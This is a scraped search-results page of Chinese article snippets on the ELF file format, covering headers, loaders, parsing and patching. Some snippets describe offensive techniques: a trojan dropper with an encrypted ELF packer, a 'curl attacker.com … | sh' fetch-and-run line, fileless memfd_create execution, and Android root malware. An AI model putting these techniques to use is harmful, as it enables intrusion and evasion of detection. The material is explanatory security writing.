展开

关键词

ELF格式学习

:blog.chinaunix.netattachmentattach2640469726404697228d82cda2af11366fa7722d3a4f1a58.pdf使用010editor打开ELF 文件,套用ELF模板,对照文档进行查看:?

23240

ELF 格式简介

Executable and Linkable Format (ELF)Linux: man elfhttps:refspecs.linuxfoundation.orgelfelf.pdf (第一手资料

7330
  • 广告
    关闭

    腾讯云前端性能优化大赛

    首屏耗时优化比拼,赢千元大奖

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    遇到ELF: not found

    Referencehttps:stackoverflow.comquestions57446579executable-says-line-1-elf-not-found-when-starts

    92010

    扒一扒ELF文件

    ELF文件类型2.1 可重定位目标文件(.o文件)2.2 可执行目标文件(a.out文件)2.3 共享对象文件(.so文件)3. ELF文件作用4. ELF文件格式4.1 从编译和链接角度看ELF文件(可重定位目标文件)4.2 从程序执行角度看ELF文件(可执行文件)5.总结1. ELF文件作用   ELF文件参与程序的连接(建立一个程序)和程序的执行(运行一个程序),所以可以从不同的角度来看待ELF格式的文件:  1.如果用于编译和链接(可重定位文件),则编译器和链接器将把ELF ELF文件格式 4.1 从编译和链接角度看ELF文件(可重定位目标文件)? 从编译和链接角度看ELF文件ELF头  每个ELF文件都必须存在一个ELF_He ader,这里存放了很多重要的信息用来描述整个文件的组织,如: 版本信息,入口信息,偏移信息等。

    12920

    ELF文件程序表头和代码实现ELF文件加载

    前面章节我们了解了ELF文件的头部结构,这次我们深入了解另一个非常重要的数据结构,那就是程序表头。操作系统严重依赖该结构来加载ELF文件或是实现动态链接。 程序表头反映的是当ELF加载到内存后所形成的“视图”或结构,也就是说ELF文件存在硬盘上或者被加载到内存,它展现出来的形态不一致。 最后p_align表示内存对齐方式,它的取值为2的指数,同时p_vaddr必须等于(p_offset % p_align)了解了ELF二进制内部原理后,我们需要实现手动加载ELF文件,实现这个目标,我们需要依赖一个库叫 Binary类用于对整个elf文件的抽象,通过它可以访问ELF文件相关信息,Section是对前面章节描述的段对象的抽象,Symbol是对前面章节符号表对象的抽象。 load_binary是来自libbfd库提供的函数,它将elf文件加载到内存中。

    19230

    ELF文件结构描述

    ELF目标文件格式最前部ELF文件头(ELF Header),它包含了描述了整个文件的基本属性,比如ELF文件版本、目标机器型号、程序入口地址等。 从上面输出的结构可以看到:ELF文件头定义了ELF魔数、文件机器字节长度、数据存储方式、版本、运行平台等。 ELF文件头结构及相关常数被定义在“usrincludeelf.h”,因为ELF文件在各种平台下都通用,ELF文件有32位版本和64位版本的ELF文件的文件头内容是一样的,只不过有些成员的大小不一样。 段表段表就是保存ELF文件中各种各样段的基本属性的结构。段表是ELF除了文件以外的最重要结构体,它描述了ELF的各个段的信息,ELF文件的段结构就是由段表决定的。 ELF符号表结构ELF文件中的符号表往往是文件中的一个段,段名一般叫做“.symtab”。

    71550

    python解析elf文件

    = ord(F)): print your input file %s not a elf file %filename return else: temp = f.read(struct.calcsize elfhdr = temp elfhdr = temp elfhdr = temp f.close()def display_elfhdr(elffile): global elfhdr print ELF

    1.2K30

    emp3r0r:dropper和ELF加密壳

    简单地理解,dropper可以是一段shell命令,用来drop我们的agent(也就是木马)ELF文件,比如脚本小子喜欢用的wget (http:download.host.comagent) && 我们想要的是一个可以下载执行ELF文件的shellcode,很遗憾它没有。 思路是把agent的ELF文件进行AES加密,拼接到stub上,stub运行的时候,会定位原ELF的位置,将它解密。解密之后用memfd_create给它找个匿名内存fd,写进去,并执行。?

    22210

    ELF文件格式修复

    在IDA动态调试-没啥卵用的静态加固中,我构造了一个畸形的ELF文件,虽然能够糊弄一下IDA的静态分析,但是动态分析无效。 新的疑问随之而来:如前面所述,我在构造畸形ELF文件的时候,直接把section头部表给删除了,还修改了ELF头部和section相关的字段,为啥不会影响执行呢? 网上可以下载到解析ELF文件的Template,但这个Template对于畸形ELF不做深入解析,为此,我花了1天时间学习了010Editor的语法,发现它的模板真的是非常强大。 最终也完成了对ELF Template的增强。直接看看效果:?新增对动态链接表的解析?新增对动态字符串表的解析? 但既然我们能有别的途径来索引到我们想要访问的位置,也可以变相说成是对ELF的修复吧。

    1K60

    ELF文件格式的详解

    ELF文件格式的详解1.说明2.elf文件的基本格式3.elf文件的头部信息4.elf文件的节区(Section)4.1 节区的作用4.2 节区的组成5.elf文件的段(Segment)6.用python 2.elf文件的基本格式 elf文件是有一定的格式的,从文件的格式上来说,分为汇编器的链接视角与程序的执行视角两种去分析ELF文件。? 为了彻底的弄清楚elf文件的内容,可以先从ELF文件的头部开始分析。 3.elf文件的头部信息 对于elf头部文件信息,首先可以可以查看一下内存的布局情况: ? 第二步:校验elf该函数的作用主要是校验elf文件,并且将相关的信息存到字典里面。 这样就完成了一个elf文件的解析过程。 7.总结 ELF文件经常的见到,但是要具体的分析ELF文件中所对应的具体的含义却需要费一番功夫。

    1.2K10

    Hack ELF Loader:用户态execve

    的话,可以知道这其实是 linux下的elf loader,由于篇幅有限,只能捡最相关的进行讲解了。 elf loader的实现方式应该与此类似,通过复制文件到申请的内存,并将eip指针指向elf入口地址e_entry。 根据上述的思考,我们需要从以下四个方向去搜集资料和分析:elf文件结构elf 装载依赖库的加载(动态链接)开源项目ELF文件结构ELF 视图ELF,即 Executable and Linking Format ,译为“可执行可连接格式”,具有这种格式的文件称为 ELF 文件。 ELF 规范中把 ELF 文件宽泛地称为“目标文件 (object file)”,主要有三种类型:可重定位文件(Relocatable File .o)包含适合于与其他目标文件链接来创建可执行文件或者共享目标文件的代码和数据

    81410

    ELF文件及android hook原理

    ELF文件装载链接过程及hook原理ELF文件格式解析可执行和可链接格式(Executable and Linkable Format,缩写为ELF),常被称为ELF格式,在计算机科学中,是一种用于执行档 链接视图和执行视图ELF文件在磁盘中和被加载到内存中并不是完全一样的,ELF文件提供了两种视图来反映这两种情况:链接视图和执行视图。 ELF文件头(ELF Header)定义了ELF魔数、硬件平台等、 入口地址、程序头入口和长度、 段表的位置和长度及段的数量、 段表字符串表(.shstrtab)所在的段在段表中的下标。 这样在ELF中引用字符串只需要给出一个数组下标即可。字符串表在ELF也以段的形式保存,常见的段名为”.strtab”或”.shstrtab”。 因为ELF目标文件不需要被装载,所以它没有程序头表,而ELF的可执行文件和共享库文件都有。 使用readelf查看程序头表。 ?

    2.1K80

    Linux无文件渗透执行ELF

    比如通过proc$pidcmdline查看某个可疑进程的启动命令,通过proc$pidexe抓样本等,但是攻击者是否会通过某种类似于curl http:attacker.com1.sh | sh的方法来执行elf 这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ? memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。 这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分 可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是procpidexe符号链接。

    1.5K80

    从程序员角度看ELF

    原文:http:xcd.blog.techweb.com.cnarchives222.html 特殊说明(by jfo)   对于static-linked或shared-linked的ELF可执行文件 (这里针对ELF可执行文件,对于共享库的.init段,还是由interpreter来调用的!!! Bdynamic -lbye   $gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o   When creating an ELF 这里特定的解释器是动态链接器,即ld.so,它自己也是ELF   共享库的格式。 一旦找到包含该库的文件,动态链接器会打开该文件,读取ELF头部寻找程序头部,它   指向包括dynamic段在内的众多段。

    24540

    详解ELF重定向原理

    如果elf文件对应32位系统,那么重定向就使用第一个结构,如果对应64位系统就对应第二个结构。

    60620

    安卓ELF恶意软件深度分析

    Android病毒也从简单到复杂,从单纯的dex病毒转向为elf病毒(其中elf是Linux下的可执行程序)。 android系统碎片化严重,提取漏洞不断累积导致病毒攻击方式多元化 ,elf文件具有比dex程序更难分析的特点。常规杀软没有root权限,难以查杀病毒。2.ELF病毒纪元图? 4.注入通过elf注入系统进程,修改程序执行或窃取内部信息。 ELF病毒对传统杀软的挑战1.权限大量ELF病毒都是主动利用漏洞对中毒手机进行ROOT,大量病毒还会删除原有ROOT管理程序,使得其他应用无法使用ROOT权限。 近两个月(20160524-20150726)残留的root后门(elf文件)?3.针对性普通杀软难于针对性的对不同危害的ELF进行处理。

    762100

    动态链接后ELF中的Section Name

    背景在So动态链接后,读取ELF文件,发现无法读取Section Header中的名称列表。即,无法在EShdr中根据e_shstrndx找到Section对应的名字。 原因从运行时的日志来看根据ELF头中的e_shoff找到ELF_SHDR libart.so加载后的位置在753042b000-7530a14000 加载后的基址为:753042b000,PHDR的地址为 shdr_offset:72a520SHDR :7530b55520 shstr:7530b55ba0 运行时日志是通过procselfmaps中获取libart.so得到的基址,与上面通过readelf读取的ELF ELF链接与执行时视图于是查看程序头部分,发现LOAD类型的段中,仅仅只有.dynstr这个字符串表会被加载到内存中。? 并且从执行视图来看,ELF也不一定会有Section Header Table。

    53130

    几个命令了解ELF文件的”秘密“

    来源:公众号【编程珠玑】作者:守望先生网站:https:www.yanbinghu.com前言在Linux中,可执行文件的格式是ELF格式,而有一些命令可以帮助我们了解它们更多的“秘密”,以此来帮助我们解决问题 includeint main(int argc,char *argv=8f1de0f59bdfe9aaff85ade6898173aa436b296a, not stripped 从结果中,我们可以知道,它是ELF 查看ELF头readelf用于查看ELF文件,而:$ readelf -h helloELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 查看ELF文件各段大小$ size hello text data bss dec hex filename 1210 552 8 1770 6ea hello 这里可以看到代码段,数据段各自占多少, 总结ELF文件中隐藏了丰富的信息,只要使用得当,将会帮助我们更好地进行开发或者问题的定位。

    1.1K20

    认识目标文件的格式——a.out COFF PE ELF

    1.目标文件的常用格式目标文件是源代码编译后未进行链接的中间文件(Windows的.obj和Linux的.o),与可执行文件(Windows的.exe和Linux的ELF)的结构和内容相似,因此跟可执行文件采用同一种格式存储 PC平台常见的可执行文件格式主要有Windows的PE(Portable Executable)和Linux的ELF(Executable and Linkable Format)。 PE和ELF都是通用目标文件格式(COFF,Common Object File Format)的变种。 在Windows下,我们将目标文件与可执行文件统称为PE-COFF文件,Linux统称为ELF文件。 Linux下的ELF文件主要有如下几种: ELF文件类型 说明 实例 可重定位文件(Relocatable File) 包含了代码与数据,可以用来连接成可执行文件或共享目标文件,如目标文件与静态链接库

    88930

    Linux 修改 ELF 解决 glibc 兼容性问题

    转自:Soul Of Free Loop链接:https:zohead.comarchivesmod-elf-glibc Linux glibc 问题相信有不少 Linux 用户都碰到过运行第三方(非系统自带软件源 解决方法虽然我们无法重新编译第三方程序,但如果可以修改 ELF 文件强制让 LD 库加载程序时使用老版本的 memcpy 和 clock_gettime 实现,应该就可以避免升级 glibc。 分析 ELF首先用 readelf 命令查看 ELF 的符号表,由于该命令输出非常多,这里只贴出我们关心的信息:# readelf -sV testerSymbol table .dynsym contains 修改 ELF 符号表由于 Linux 系统中的 LD 库(也就是 lib64ld-linux-x86-64.so.2 库)加载 ELF 时检查 .gnu.version_r 表中的符号,我们可以使用任何一款十六进制编辑器来修改 这个时候我们就需要请出大杀器 PatchELF 了,这个小工具由 NixOS 团队开发,可以直接增加、删除、替换 ELF 文件依赖的库文件,使用起来也非常简单。

    59520

    扫码关注云+社区

    领取腾讯云代金券